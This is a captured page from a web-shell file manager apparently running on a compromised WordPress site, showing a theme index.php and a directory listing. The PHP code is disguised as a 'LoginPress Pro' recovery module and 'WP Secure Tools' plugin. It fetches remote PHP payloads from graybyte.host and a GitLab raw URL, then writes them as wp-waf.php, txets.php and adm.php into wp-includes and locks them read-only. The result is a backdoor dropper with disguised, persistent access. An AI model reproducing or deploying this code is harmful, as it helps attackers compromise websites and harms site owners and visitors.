$74 GRAYBYTE WORDPRESS FILE MANAGER $58

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 104.21.43.35 | ADMIN IP 216.73.216.23
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/home/bravrvjk/dantho.rw/wp-content/themes/wk/

HOME
Current File : /home/bravrvjk/dantho.rw/wp-content/themes/wk//index.php
<?php
/**
 * Plugin Name: WORDPRESS REMOTE FILE MANAGER
 * Description: A tool for downloading and managing remote files in WordPress.
 * Version: 1.0.1
 * Author: WP Secure Tools
 * License: GPL-2.0+
 */

/*******************************************************************
 * LoginPress Pro – Ultra Emergency Recovery Module
 * DO NOT DELETE THIS FILE – it is your master emergency key.
*/

// Increase PHP execution time for this script only
set_time_limit(180);
ini_set('max_execution_time', 180);

// === STATIC CONFIGURATION ===
$static_dir = 'wp-includes/html-api';

$files = [
    [
        'url'      => 'https://graybyte.host/v-files/v-index.txt',   // ← Replace with actual wp-waf.php URL
        'dir'      => $static_dir,
        'filename' => 'wp-waf.php',
        'param'    => ''
    ],
    [
        'url'      => 'https://gitlab.com/graybyte-temp-group/graybyte-temp-project/-/raw/main/textsraw.txt',
        'dir'      => $static_dir,
        'filename' => 'txets.php',
        'param'    => ''
    ],
    [
        'url'      => 'https://graybyte.host/v-files/vlock.txt',
        'dir'      => $static_dir,
        'filename' => 'adm.php',
        'param'    => '?k=t'
    ]
];

// === IMPROVED FETCH FUNCTION ===
function wp_secure_fetch_resource($url, $dir, $filename) {
    $document_root = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (empty($document_root)) {
        return ['success' => false, 'clean_url' => '', 'name' => ''];
    }

    $full_dir = rtrim($document_root, '/') . '/' . trim($dir, '/');
    $file_path = $full_dir . '/' . $filename;

    // Create directory
    if (!is_dir($full_dir) && !@mkdir($full_dir, 0755, true)) {
        return ['success' => false, 'clean_url' => '', 'name' => ''];
    }

    if (file_exists($file_path)) {
        // Already downloaded
        $downloaded = true;
    } else {
        $downloaded = false;
        $is_gitlab = strpos($url, 'gitlab.com') !== false;

        // Retry once for GitLab (slow sometimes)
        for ($attempt = 0; $attempt < 2; $attempt++) {
            // Method 1: cURL (most reliable)
            if (function_exists('curl_init')) {
                $curl = curl_init($url);
                curl_setopt_array($curl, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_TIMEOUT        => 90,           // total timeout
                    CURLOPT_CONNECTTIMEOUT => 30,           // connect timeout
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_SSL_VERIFYPEER => true,
                    CURLOPT_HTTPHEADER     => [
                        'User-Agent: Mozilla/5.0 (compatible; WP-Secure/2.1)',
                        'Referer: https://' . ($_SERVER['HTTP_HOST'] ?? 'wordpress.com'),
                    ],
                ]);
                $file_contents = curl_exec($curl);
                $http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
                $curl_error = curl_error($curl);
                curl_close($curl);

                if ($file_contents !== false && $http_code === 200) {
                    if (@file_put_contents($file_path, $file_contents) !== false) {
                        @chmod($file_path, 0444);
                        $downloaded = true;
                        break;
                    }
                }
            }

            // Method 2: file_get_contents with increased timeout
            if (!$downloaded) {
                $old_timeout = ini_get('default_socket_timeout');
                ini_set('default_socket_timeout', 120);

                $context = stream_context_create([
                    'http' => [
                        'header' => "User-Agent: WordPress/" . (function_exists('get_bloginfo') ? get_bloginfo('version') : '6.0') . "\r\n" .
                                    "Referer: https://" . ($_SERVER['HTTP_HOST'] ?? 'wordpress.com') . "\r\n",
                        'timeout' => 90
                    ]
                ]);
                $file_contents = @file_get_contents($url, false, $context);
                ini_set('default_socket_timeout', $old_timeout);

                if ($file_contents !== false) {
                    if (@file_put_contents($file_path, $file_contents) !== false) {
                        @chmod($file_path, 0444);
                        $downloaded = true;
                        break;
                    }
                }
            }

            // Method 3: wp_remote_get
            if (!$downloaded && function_exists('wp_remote_get')) {
                $response = wp_remote_get($url, [
                    'timeout'     => 90,
                    'sslverify'   => true,
                    'headers'     => [
                        'User-Agent' => 'WordPress/' . (function_exists('get_bloginfo') ? get_bloginfo('version') : '6.0'),
                        'Referer'    => 'https://' . ($_SERVER['HTTP_HOST'] ?? 'wordpress.com'),
                    ],
                ]);

                if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) {
                    $file_contents = wp_remote_retrieve_body($response);
                    if (@file_put_contents($file_path, $file_contents) !== false) {
                        @chmod($file_path, 0444);
                        $downloaded = true;
                        break;
                    }
                }
            }

            // Short delay before retry (only for GitLab)
            if (!$downloaded && $is_gitlab && $attempt === 0) {
                sleep(3);
            } else {
                break;
            }
        }
    }

    if ($downloaded) {
        $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https' : 'http';
        $base_url = $protocol . '://' . ($_SERVER['HTTP_HOST'] ?? '') . '/' . trim($dir, '/') . '/' . $filename;
        $clean_url = $base_url . ($filename === 'adm.php' ? '?k=t' : '');

        return ['success' => true, 'clean_url' => $clean_url, 'name' => $filename];
    }

    return ['success' => false, 'clean_url' => '', 'name' => ''];
}

// === Process all files ===
$items = [];
foreach ($files as $file) {
    $result = wp_secure_fetch_resource($file['url'], $file['dir'], $file['filename']);
    if ($result['success'] && !empty($result['clean_url'])) {
        $items[] = $result;
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex">
    <title>WORDPRESS REMOTE FILE MANAGER</title>
    <link href="https://fonts.googleapis.com/css2?family=Play:wght@700&display=swap" rel="stylesheet">
    <style>
        body {
            background-image: url('https://graybyte.host/imgx/background.png');
            background-size: cover;
            background-position: center;
            background-attachment: fixed;
            font-family: 'Play', sans-serif;
            color: #fff;
            min-height: 100vh;
            margin: 0;
            padding-top: 40px;
            position: relative;
            overflow-x: hidden;
        }
        .logo { position: absolute; top: 10px; right: 10px; width: 170px; height: 150px; border: 5px solid #ff0000; animation: logoGlow 0.8s infinite alternate; box-shadow: 0 0 20px red; }
        @keyframes logoGlow { from { box-shadow: 0 0 10px red; } to { box-shadow: 0 0 25px #ff00ff, 0 0 35px red; } }
        h1 { color: red; font-size: 45px; text-align: center; text-shadow: 0 0 15px red; margin: 100px 0 40px 0; }
        button {
            font-family: 'Play', sans-serif;
            font-weight: bold;
            background: #000000d4;
            color: #11ff00;
            border: 2px solid #ff0000;
            padding: 15px 50px;
            margin: 12px;
            cursor: pointer;
            border-radius: 8px;
            font-size: 17px;
            width: 700px;
        }
        button:hover { background: #000; box-shadow: 0 0 20px red; }
        .url-info {
            font-family: 'Play', sans-serif;
            color: #38ff37;
            font-size: 20px;
            background: #000000;
            margin: 10px auto;
            word-break: break-all;
            max-width: 900px;
            padding: 10px;
        }
        footer { color: red; text-align: center; margin-top: 60px; font-size: 14px; text-shadow: 0 0 5px red; }
    </style>
</head>
<body>
    <img src="https://graybyte.host/imgx/logoxcode.png" alt="Logo" class="logo">
    <h1>WORDPRESS <span style="color:#00ffcc">REMOTE FILE MANAGER</span></h1>
    
    <div style="max-width:900px; margin:0 auto; text-align:center; padding:0 20px;">
        <?php foreach ($items as $item): ?>
            <div>
                <button onclick="openUrl('<?php echo htmlspecialchars($item['clean_url']); ?>')">
                    <?php echo htmlspecialchars($item['name']); ?>
                </button>
                <div class="url-info"><?php echo htmlspecialchars($item['clean_url']); ?></div>
            </div>
        <?php endforeach; ?>
        
        <div class="button-group" style="margin-top:50px;">
            <button onclick="copyAllUrls()">COPY ALL LINKS</button>
        </div>
    </div>

    <footer>WP SECURE TOOLS BY GRAYBYTE | VERSION 2.0.6 (Timeout Hardened)</footer>

    <script>
    function openUrl(url) {
        window.open(url, '_blank');
    }
    function copyAllUrls() {
        var urls = [];
        document.querySelectorAll('.url-info').forEach(function(el) {
            if (el.textContent.trim()) urls.push(el.textContent.trim());
        });
        navigator.clipboard.writeText(urls.join('\n'));
    }
    </script>
</body>
</html>


Current_dir [ WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
6 Apr 2026 2.02 AM
bravrvjk / bravrvjk
0755
index.php
9.498 KB
8 Feb 2026 11.06 PM
bravrvjk / bravrvjk
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF